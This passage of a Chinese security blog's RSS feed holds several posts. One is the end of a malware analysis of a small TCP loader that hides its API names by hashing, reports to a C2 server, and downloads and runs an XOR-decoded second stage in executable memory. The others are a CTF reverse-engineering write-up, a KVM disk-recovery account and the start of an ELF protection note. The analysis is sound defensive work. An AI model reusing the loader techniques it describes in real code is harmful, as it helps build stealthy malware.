&lt;td&gt;&lt;code&gt;send&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;发送握手数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r15&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;recv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;下载主体数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rbp-20h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;申请可执行内存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;[rbp-18h]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;closesocket&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;收尾清理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r14&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sprintf&lt;/code&gt; / &lt;code&gt;_snprintf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字符串拼装&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;…&lt;/td&gt;
&lt;td&gt;（其余为 &lt;code&gt;Sleep&lt;/code&gt;、&lt;code&gt;GetVersion&lt;/code&gt;, &lt;code&gt;VirtualProtect&lt;/code&gt; 等）&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;h2-u8C03u7528u90E8u5206&quot;&gt;&lt;a name=&quot;调用部分&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;调用部分&lt;/h2&gt;&lt;h3 id=&quot;h3-u51C6u5907u56DEu8FDE&quot;&gt;&lt;a name=&quot;准备回连&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;准备回连&lt;/h3&gt;&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171350175274363050725.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;最后将调用获取函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171412175274365291081.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3-u4E0Au62A5&quot;&gt;&lt;a name=&quot;上报&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;上报&lt;/h3&gt;&lt;p&gt;下面调用了很多次的rdi也就是发送送握手数据，来发送设备的识别码&lt;code&gt;[rbp-80h] = 0x20343677 → &amp;quot;w64 4&amp;quot;&lt;/code&gt;；紧跟空格和 &lt;code&gt;0&lt;/code&gt; 组成 &lt;code&gt;w64 64&lt;/code&gt;。告诉 C2 这是 &lt;code&gt;Windows-64 位客户端&lt;/code&gt;。&lt;br&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171417175274365727879.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;h3-u52A0u8F7Du5927u9A6C&quot;&gt;&lt;a name=&quot;加载大马&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;加载大马&lt;/h3&gt;&lt;p&gt;最后就是加载大马的部分&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/20250717171422175274366224767.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2-u6728u9A6Cu6574u4F53u6D41u7A0B&quot;&gt;&lt;a name=&quot;木马整体流程&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;木马整体流程&lt;/h2&gt;&lt;p&gt;到这里整体流程已经被摸清楚了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;启动与栈帧准备&lt;/strong&gt;&lt;br&gt;入口只做两件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保存全部通用寄存器，防止被破坏；&lt;/li&gt;&lt;li&gt;在 RSP 下方一次性开 0x398 字节大栈帧，供后续拼接字符串和存放临时数据。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;动态解析 API&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自带的 &lt;code&gt;sub_45C&lt;/code&gt; 函数按“ROR-13 + 大小写无关”算法遍历 PEB 中所有模块的导出名哈希。&lt;/li&gt;&lt;li&gt;仅凭 32 位哈希值就能拿到 &lt;code&gt;LoadLibraryA&lt;/code&gt;、&lt;code&gt;socket&lt;/code&gt;、&lt;code&gt;connect&lt;/code&gt;、&lt;code&gt;recv&lt;/code&gt;、&lt;code&gt;VirtualAlloc&lt;/code&gt; 等真实地址，完全省掉了明文字符串。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;加载必需 DLL&lt;/strong&gt;&lt;br&gt;利用刚解析出的 &lt;code&gt;LoadLibraryA&lt;/code&gt; 动态加载 &lt;strong&gt;user32.dll&lt;/strong&gt;, &lt;strong&gt;ws2_32.dll&lt;/strong&gt;, &lt;strong&gt;msvcrt.dll&lt;/strong&gt;，为网络通信、字符串处理和内存管理做准备。&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;一次性解析所有关键 API&lt;/strong&gt;&lt;br&gt;将 &lt;code&gt;socket / connect / send / recv / VirtualAlloc / closesocket / _snprintf …&lt;/code&gt; 等十几条 API 地址分别保存到寄存器或栈槽里，后面直接调用。&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;拼接关键字符串&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;C2 地址&lt;/strong&gt;：硬编码字节组合成 &lt;code&gt;xxx.xxx.xxx.141&lt;/code&gt;，端口 &lt;code&gt;55841&lt;/code&gt;。&lt;/li&gt;&lt;li&gt;&lt;strong&gt;客户端指纹&lt;/strong&gt;：&lt;code&gt;&amp;quot;w64 &amp;lt;本机IP&amp;gt; &amp;lt;OS版本&amp;gt;&amp;quot;&lt;/code&gt;。&lt;/li&gt;&lt;li&gt;&lt;strong&gt;日志文件名&lt;/strong&gt;：&lt;code&gt;log_&amp;lt;日期&amp;gt;.ed&lt;/code&gt;。&lt;br&gt;这些都用 &lt;code&gt;_snprintf&lt;/code&gt; 现场拼出，避免静态特征。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;建立 TCP 连接并上报信息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;socket(AF_INET, SOCK_STREAM)&lt;/code&gt; → &lt;code&gt;connect&lt;/code&gt; 到 C2。&lt;/li&gt;&lt;li&gt;依次 &lt;code&gt;send&lt;/code&gt; 客户端指纹、日志名等，完成“注册/握手”。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;申请可执行内存&lt;/strong&gt;&lt;br&gt;&lt;code&gt;VirtualAlloc(NULL, 0x1C9C380 ≈ 30 MB, MEM_COMMIT, PAGE_EXECUTE_READWRITE)&lt;/code&gt; 为后续载荷准备 RWX 缓冲区。&lt;/p&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;循环下载并异或解密&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每次 &lt;code&gt;recv&lt;/code&gt; 0x64000 字节。&lt;/li&gt;&lt;li&gt;对收到的数据逐字节 &lt;code&gt;XOR 0x99&lt;/code&gt; 写回缓冲区。&lt;/li&gt;&lt;li&gt;循环直到 &lt;code&gt;recv&lt;/code&gt; 返回 &amp;lt; 要求长度（服务器主动断流）。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;收尾并执行载荷&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;closesocket&lt;/code&gt; 关闭连接。&lt;/li&gt;&lt;li&gt;直接 &lt;code&gt;call&lt;/code&gt; 指向缓冲区首地址 → 跳入已解密的 Stage-2 Shellcode，不落地文件，纯内存执行。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;退出 Loader&lt;/strong&gt;&lt;br&gt;如果第二阶段代码返回，则恢复之前保存的寄存器并 &lt;code&gt;retn&lt;/code&gt;；否则进程控制权彻底交给后续载荷。&lt;/p&gt;
&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;这是一个只有 0x56C 字节的&lt;code&gt;Stage-0 TCP Loader&lt;/code&gt;：通过 API 哈希隐藏所有函数名，联网到硬编码 C2，下载 XOR 加密的下一阶段并在内存中直接执行，为远控恶意模块有点类似反射加载dll。&lt;/p&gt;
</description><pubDate>Thu, 17 Jul 2025 16:59:17 +0800</pubDate></item><item><title>【CTF】一些简单的逆向题</title><link>https://www.caozhexxgweb.cn/?id=138</link><description>&lt;h1 id=&quot;h1--ctf-&quot;&gt;&lt;a name=&quot;【CTF】一些简单的逆向题&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;【CTF】一些简单的逆向题&lt;/h1&gt;&lt;ul&gt;
&lt;li&gt;题目介绍&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140905587186041.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;一共只有三题，我们从简单到难来看&lt;/p&gt;
&lt;h2 id=&quot;h2--disassembleme-exe&quot;&gt;&lt;a name=&quot;第一题 DisassembleMe.exe&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;第一题 DisassembleMe.exe&lt;/h2&gt;&lt;p&gt;这是一题签到题，先来运行一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\test\Desktop\22&amp;gt;DisassembleMe.exe
Welcome to DASCTF.
Please find the flag.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;拖入IDA ,按一下F5即可拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140908573407290.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;h2--debugme-exe&quot;&gt;&lt;a name=&quot;第二题 DebugMe.exe&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;第二题 DebugMe.exe&lt;/h2&gt;&lt;p&gt;执行发现，题目意图很明显&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\test\Desktop\22&amp;gt;DebugMe.exe
Welcome to DASCTF.
Debug me and you&amp;#39;ll get the flag&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后我们就直接拖入ida&lt;br&gt;发现flag标识在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140910121248476.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;函数跟进去&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140911437413609.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;按正常思路直接debug下断点到这里就可以了，但我们反其道而行之&lt;/p&gt;
&lt;p&gt;先分析一下解密函数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;从主函数开始，获取基地址，找到PE头指针，然后读取“PE\0\0”值并存储。&lt;/li&gt;&lt;li&gt;这个值0x4550被传递给sub_401000。&lt;/li&gt;&lt;li&gt;进入sub_401000后，循环遍历常量数组v4，每次迭代计算char[i] = v4[i] / a1，并用v4[i] % (255 * char)更新a1，最终生成22个字符并返回字符串。&lt;/li&gt;&lt;li&gt;在sprintf中，字符串被插入到“DASCTF{%s}”模板中。&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;根据这个函数复写一个解密函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a1 = 0x4550
v4 = [1153360,1007240,2704000,2471560,2165525,845500,642135,
      2272725,500175,1097250,882000,2772000,2310000,1425000,
      1675800,524160,2048280,1295325,798000,1360800,1099980,1198920]
out = []
for x in v4:
    ch = x // a1
    out.append(chr(ch))
    a1 = x % (255 * ch)
flag_body = &amp;#39;&amp;#39;.join(out)
sprintf(Buffer, &amp;quot;DASCTF{%s}&amp;quot;, flag_body);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行即可输出flag了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DASCTF{Ahha_You_Find_The_Flag}&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;h2--k1llorsave-exe&quot;&gt;&lt;a name=&quot;第三题 K1llorSave.exe&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;第三题 K1llorSave.exe&lt;/h2&gt;&lt;p&gt;执行发现卡住在这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\test\Desktop\22&amp;gt;K1llorSave.exe
Mathematics is a beautiful and powerful tool that helps us understand and naviga
te the world around us.

Lets check if it still works in the planet

Checking...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后拖入ida里查看发现被sleep了100秒难怪会卡，等一会之后发现输出了，但没有flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140912424441389.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我们继续看，这边有两个分支，稍微看看这个伪C&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;argv 指向命令行参数数组；*argv 就是 argv[0]，即程序自身的路径字符串。&lt;/li&gt;&lt;li&gt;循环逐字节读取，直到遇到 ‘\0’ 结束符。&lt;/li&gt;&lt;li&gt;因为先把 v4 设为 -1，再 ++v4，所以循环结束时 v4 就是字符串长度。&lt;/li&gt;&lt;li&gt;如果字符串非空（现实里几乎必然），v4 ≥ 0。&lt;/li&gt;&lt;li&gt;只有在极端情况 argv[0] 指向空串 “” 时，循环一次都不进&lt;/li&gt;&lt;li&gt;于是就有了两条分支&lt;ul&gt;
&lt;li&gt;正常执行路径（argv[0] 非空） ➜ 调用 sub_1400011E0&lt;/li&gt;&lt;li&gt;永远几乎进不到的分支（argv[0] 为空） ➜ 调用 sub_1400011B0&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140912556990416.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;其实通过汇编可以就可以看出，几乎只会执行sub_1400011E0&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140913299214309.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;关键是sub_1400011E0，我们进去看看，一眼头大。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140913414554382.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;我打算直接改汇编二进制文件，吧条件给删掉，直接调用这个函数，主要吧sleep和前面的条件给nop掉就可以了nop的时候记得吧全部的字节都nop，以免出现图中的db内容，会导致程序异常&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140914063345881.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140914222832318.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;最后完成改成这样，在nop中新增一个call  sub_1400011B0&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140914367918535.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;最后写入到文件，执行即可获取flag&lt;br&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140914457352612.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/07/202507140914543159812.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
</description><pubDate>Fri, 11 Jul 2025 17:01:27 +0800</pubDate></item><item><title>【数据恢复】修复KVM快照链与损坏的系统盘</title><link>https://www.caozhexxgweb.cn/?id=133</link><description>&lt;h1 id=&quot;h1--c-&quot;&gt;&lt;a name=&quot;【数据恢复】修复损坏的c盘并且重建引导&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;【数据恢复】修复损坏的c盘并且重建引导&lt;/h1&gt;&lt;div class=&quot;markdown-toc editormd-markdown-toc&quot;&gt;[TOC]&lt;/div&gt;&lt;h2 id=&quot;h2-u524Du8A00&quot;&gt;&lt;a name=&quot;前言&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;前言&lt;/h2&gt;&lt;p&gt;使用工具&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;chkdsk&lt;/li&gt;&lt;li&gt;diskgenius&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;实在是倒大霉了，这次是实况&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;由于工作要求开发需要windows系统环境，但我用的是mac，于是开发机我用kvm启动了。&lt;br&gt;但是默认var位置的大小太小了，导致之后磁盘爆满，无法正常使用。&lt;br&gt;迁移之后发现快照链丢失，随后重建快照链，然后打开发现引导失败，用PE打开后发现磁盘变成row格式，随后进行修复&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;h2--kvm-&quot;&gt;&lt;a name=&quot;修复KVM快照链&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;修复KVM快照链&lt;/h2&gt;&lt;p&gt;这一步比较简单，只是kvm的基础迁移操作，但我要吐槽的是为什么kvm的路径是绝对路径，而不是相对路径呢&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这边重点提示一下，任何操作之前都需要备份，特别是重要的生产环境&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;virsh list --all    # 查看虚拟机列表
 Id   Name                   State
---------------------------------------
 6    ubuntu20.04_Honeypot   running
 7    ubuntu20.04_HFish      running
 14   win10-debug            running
 34   windows         running
 -    xt-windows-build-tg    shut off

virsh shutdown windows  # 确保要关机后操作
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;h3-u63A5u4E0Bu53BBu67E5u770Bu5FEBu7167u94FE&quot;&gt;&lt;a name=&quot;接下去查看快照链&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;接下去查看快照链&lt;/h3&gt;&lt;p&gt;执行&lt;code&gt;qemu-img info --backing-chain /root/kvm_data/kvm_server/images/windows.windows_2025-06-25T06:22&lt;/code&gt;需要选择最新的链来看&lt;br&gt;输出一下内容&lt;br&gt;&lt;img src=&quot;/zb_users/upload/2025/06/202506260929079697589.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;这边和我当前目录完全不一致，我已经cp到了在&lt;code&gt;/home/kvm_server&lt;/code&gt;中，但他指向的还是默认位置&lt;/p&gt;
&lt;h3 id=&quot;h3-u63A5u4E0Bu53BBu5F00u59CBu91CDu5EFAu5FEBu7167u94FE&quot;&gt;&lt;a name=&quot;接下去开始重建快照链&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;接下去开始重建快照链&lt;/h3&gt;&lt;p&gt;我是用先修最底层 → 再往上层的步骤来的。&lt;br&gt;边我就直接吧我执行的命令贴出来了&lt;br&gt;&lt;strong&gt;执行前千万要关机&lt;/strong&gt;，这是我看官网中这样说的。我这边就再重复一遍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#############################################################################
# 1/6  windows-开发机.windows_10_ok  →  windows-开发机.qcow2  (最底层)
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.qcow2&amp;#39; \
  &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows_10_ok&amp;#39;

#############################################################################
# 2/6  windows-开发机.windows_2025-04-02T13:38  →  windows-开发机.windows_10_ok
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows_10_ok&amp;#39; \
  &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-04-02T13:38&amp;#39;

#############################################################################
# 3/6  windows-开发机.windows-开发机_2025-05-12T01:50  →  windows-开发机.windows_2025-04-02T13:38
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-04-02T13:38&amp;#39; \
  &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows-开发机_2025-05-12T01:50&amp;#39;

#############################################################################
# 4/6  windows-开发机.windows_2025-05-16T00:58  →  windows-开发机.windows-开发机_2025-05-12T01:50
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows-开发机_2025-05-12T01:50&amp;#39; \
  &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-05-16T00:58&amp;#39;

#############################################################################
# 5/6  windows-开发机.1749198057  →  windows-开发机.windows_2025-05-16T00:58
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows_2025-05-16T00:58&amp;#39; \
  &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.1749198057&amp;#39;

#############################################################################
# 6/6  windows-开发机.windows-开发机_2025-06-25T06:22  →  windows-开发机.1749198057  (最上层)
#############################################################################
qemu-img rebase -u -F qcow2 \
  -b &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.1749198057&amp;#39; \
  &amp;#39;/root/kvm_data/kvm_server/images/windows-开发机.windows-开发机_2025-06-25T06:22&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行完成之后就可以进入系统了，&lt;/p&gt;
&lt;h2 id=&quot;h2-u4FEEu590Du7CFBu7EDFu76D8&quot;&gt;&lt;a name=&quot;修复系统盘&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;修复系统盘&lt;/h2&gt;&lt;p&gt;然后我发现进入系统之后出现了&lt;code&gt;BOOTMGR image is corrupt. The system cannot boot.&lt;/code&gt;错误，期初我以为是系统引导出问题了，然后我用diskgenius修复了引导发现不行&lt;/p&gt;
&lt;h3 id=&quot;h3--pe-&quot;&gt;&lt;a name=&quot;进入PE系统&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;进入PE系统&lt;/h3&gt;&lt;p&gt;打开磁盘管理发现变成Raw了，真是风水轮流转，以前都是别人问我变成Raw怎么办了，现在我需要自己解决了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/06/202506260913047160328.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;再次说明，我在操作之前对虚拟机进行了二次备份，所以可以大胆操作，千万别在唯一的备份中操作&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;h4--diskgenius-&quot;&gt;&lt;a name=&quot;使用diskgenius检查磁盘状态&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;使用diskgenius检查磁盘状态&lt;/h4&gt;&lt;p&gt;还好有之前处理的经验，我当即打开diskgenius然后智能挂载查看文件内容，还好东西都在，悬着的心差点死了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这一步没有截图，因为写到这里的时候我已经在等chkdsk的重建了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具体可以查看diskgenius官方操作文档：&lt;a href=&quot;https://www.diskgenius.cn/exp/raw-external-hdd.php&quot;&gt;https://www.diskgenius.cn/exp/raw-external-hdd.php&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&quot;h4--chkdsk&quot;&gt;&lt;a name=&quot;使用chkdsk&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;使用chkdsk&lt;/h4&gt;&lt;p&gt;既然东西还能用工具挂载出来展示，那么说明只是一些MFT的损坏&lt;br&gt;然后就用chkdsk来自动恢复就可以了（希望别出现无线循环修复的情况，这样的话要手动检查元文件）&lt;br&gt;先贴出我总结的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diskpart
list volume      # 记住系统分区盘符（假设是 C:）
list partition    # 记住 100 MB 系统保留分区（假设卷标无盘符）
assign letter=S  # 给 100 MB 分区临时挂 S:
exit

chkdsk C: /f /r            # 花时间较长
chkdsk S: /f               # 修系统保留分区&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行&lt;code&gt;chkdsk C: /f /r&lt;/code&gt;然后就开始了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;对了我这截图中系统盘是D盘，为了方便演示和说明，文字中用C盘来表示&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/06/202506260952371253934.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下去就是等待……&lt;br&gt;等有消息了我再继续更新&lt;/p&gt;
&lt;h4 id=&quot;h4-u6709u6D88u606Fu4E86&quot;&gt;&lt;a name=&quot;有消息了&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;有消息了&lt;/h4&gt;&lt;p&gt;但是是坏消息，出现了&lt;code&gt;磁盘空间不足，无法恢复丢失的数据。&lt;/code&gt;错误。&lt;br&gt;应该是我用了/r的参数，会尝试标记坏簇，然后再把文件移动到新的位置。&lt;br&gt;但很奇怪，kvm虚拟机也会这样吗？&lt;br&gt;于是我尝试只用&lt;code&gt;chkdsk C: /f&lt;/code&gt;试试&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2025/06/202506261410478603657.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下去又是等待……&lt;/p&gt;
&lt;h1 id=&quot;h1-u7ED3u675F&quot;&gt;&lt;a name=&quot;结束&quot; class=&quot;reference-link&quot; href=&quot;#&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;结束&lt;/h1&gt;&lt;p&gt;最后在不断尝试之后，还是放弃了，虽然c盘文件原封不动都在，而且可以正常引导，启动，但进入系统前会出现无限循环的windows自动修复，我只能庆欣数据都还在吧&lt;/p&gt;
</description><pubDate>Thu, 26 Jun 2025 09:12:55 +0800</pubDate></item><item><title>【二进制】ELF文件的安全保护机制</title><link>https://www.caozhexxgweb.cn/?id=132</link><description>&lt;blockquote&gt;
&lt;p&gt;今天分享一下以前写过的笔记关一ELF文件的安全保护机制&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; checksec 
File:     /home/cz/pwn/stack
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
Stripped:   No&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这是使用 &lt;code&gt;pwndbg&lt;/code&gt; 中的 &lt;code&gt;checksec&lt;/code&gt; 命令对 ELF 文件安全属性的检查结果。下面是每个字段的含义和解析：&lt;/p&gt;
&lt;hr&gt;
